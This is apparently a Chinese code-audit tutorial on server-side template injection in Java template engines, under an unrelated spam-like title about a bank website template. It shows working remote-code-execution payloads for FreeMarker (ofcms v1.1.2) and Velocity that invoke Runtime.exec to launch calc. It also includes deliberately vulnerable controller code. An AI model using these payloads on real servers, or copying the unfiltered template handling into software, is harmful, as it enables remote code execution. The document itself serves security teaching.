黑龙江省建设银行网站网站模板站的模板展示怎么做的
一、模板引擎
在Java开发当中,为了将前端和后端进行分离,降低项目代码的耦合性,使代码更加易于维护和管理。除去以上的原因,模板引擎还能实现动态和静态数据的分离。
二、主流模板引擎
在Java中,主流的模板引擎有:Freemark,Thymeleaf,velocity等。本文章仅介绍前三种模板引擎。
本文着重介绍是模板注入的原理,因此有关模板的语法部分仅提供参考链接:
什么是 FreeMarker? - FreeMarker 中文官方参考手册
Thymeleaf
The Apache Velocity Project
三、原理
先讲讲原理,对于模板注入漏洞,其原理并不难,就是在用户修改模板,或者上传模板文件时,没有对模板进行正确的处理,在之后调用该模板时,直接就把用户传入的模板中的或者是用户本身的传参中的恶意参数当作了代码进行执行。
四、示例
1、Freemark
这里我选择使用的示例是ofcms-v1.1.2的模板注入漏洞,运行环境为
JDK:1.8
Tomcat:8.5.97
若需要Java8以及tomcat8可点击链接获取
代码审计环境.zip_免费高速下载|百度网盘-分享无限制
提取码:1234
部署好项目后启动,登陆后台进入模板设置下的模板文件功能处

点一下保存抓一下包,获取一下路由,方便定位代码位置

根据路由定位代码位置,位于admin/controller/cms/TemplateController.java内的save方法中

代码解读:
通过调用 getPara 方法从请求中获取参数 res_path,该参数指示要使用的资源路径。
根据 resPath 的值决定文件存储的路径。如果 resPath 为 "res",则使用 SystemUtile.getSiteTemplateResourcePath() 返回的路径;否则,使用 SystemUtile.getSiteTemplatePath() 返回的路径。
从请求中获取 dirs 参数,如果该参数不为空,则将其作为子目录添加到 pathFile 中。
从请求中获取 file_name 参数,表示要保存的文件名。
通过 getRequest().getParameter 获取 file_content 参数,表示文件的内容。由于安全原因,直接使用 getPara 可能会过滤掉某些HTML元素,因此这里直接从请求对象中获取。接着,将HTML实体字符 < 和 > 替换为实际的 < 和 > 字符。
创建一个新的 File 对象,表示要保存的文件,其路径由之前构建的 pathFile 和 fileName 组合而成。
使用 FileUtils.writeString 方法将 fileContent 的内容写入到指定的文件中。这个方法通常来自 Apache Commons IO 库。
解读代码我们可知,从头到尾没有进行任何的参数过滤,因此我们可以传入payload
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

保存后,去触发404页面

成功执行命令
2、velocity
在velocity中,模板注入漏洞有两种形式,一种是evaluate触发,一种是merge触发
一、evaluate触发:
示例代码如下:
package com.example.velocitydemo;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import java.io.StringWriter;@Controller
public class VelocityEvaluate {@GetMapping("/velocityevaluate")public void velocity(String template) {Velocity.init();VelocityContext context = new VelocityContext();context.put("author", "hada");StringWriter swOut = new StringWriter();Velocity.evaluate(context, swOut, "test", template);}
}
代码解读:
Velocity.init();:初始化 Velocity 引擎。VelocityContext context = new VelocityContext();:创建一个 Velocity 上下文对象,用于存储模板中的变量。context.put("author", "hada");:将变量author和其值hada放入上下文中。StringWriter swOut = new StringWriter();:创建一个StringWriter对象,用于捕获模板渲染后的输出。Velocity.evaluate(context, swOut, "test", template);:评估模板,并将结果输出到swOut中。"test"是日志标签,template是要评估的模板字符串。
我们就可以使用这样的payload去攻击:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",nu ll).invoke(null,null).exec("calc")
攻击示例解读:
#set($e="e")
这里将变量 $e 设置为字符串 "e"。
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null)
$e.getClass()获取字符串"e"的类对象,即java.lang.String。.forName("java.lang.Runtime")使用Class.forName方法获取java.lang.Runtime类的类对象。.getMethod("getRuntime", null)获取Runtime类的getRuntime方法。null表示该方法没有参数。.invoke(null, null)调用getRuntime方法,返回当前的Runtime实例。null表示静态方法调用,不需要实例对象。
.exec("calc")
.exec("calc")调用Runtime实例的exec方法,执行calc.exe命令,打开 Windows 计算器。
二、merge触发
示例代码:
package com.example.velocitydemo;import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.runtime.RuntimeServices;
import org.apache.velocity.runtime.RuntimeSingleton;
import org.apache.velocity.runtime.parser.node.SimpleNode;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.text.ParseException;@Controller
public class VelocityMerge {@RequestMapping("/velocitymerge")@ResponseBodypublic String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")) );templateString = templateString.replace("<USERNAME>", username);StringReader reader = new StringReader(templateString);VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");ctx.put("phone", "13312341234");ctx.put("email", "13312341234@123.com");StringWriter out = new StringWriter();org.apache.velocity.Template template = new org.apache.velocity.Template();RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));template.setRuntimeServices(runtimeServices);template.setData(node);template.initDocument();template.merge(ctx, out);return out.toString();}
}
代码解读:
String templateString = new String(Files.readAllBytes(Paths.get("D:\\template.vm")));
从指定路径读取模板文件内容,并将其转换为字符串。
templateString = templateString.replace("<USERNAME>", username);
替换模板中的 <USERNAME> 占位符为传入的 username 参数。
StringReader reader = new StringReader(templateString);
将模板字符串包装成 StringReader,以便 Velocity 可以读取。
VelocityContext ctx = new VelocityContext(); ctx.put("name", "hada");
ctx.put("phone", "13312341234");
ctx.put("email", "13312341234@123.com");
创建一个 VelocityContext 对象,并添加一些变量。
StringWriter out = new StringWriter();
捕获输出。
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices); template.setData(node);
template.initDocument();
使用 RuntimeServices 解析模板,并设置相关属性。
template.merge(ctx, out);
合并模板和上下文,并将结果输出到 StringWriter 中。
return out.toString();
返回结果。
根据上述代码,我们先假设文件可控,在D盘下创建一个template.vm,并键入如下payload:

访问后即可触发

3、Thymeleaf
模板注入的原理都是相同的,所以关于Thymeleaf这里不做赘述,可自行下载GitHub上的项目进行测试
veracode-research/spring-view-manipulation: When MVC magic turns black
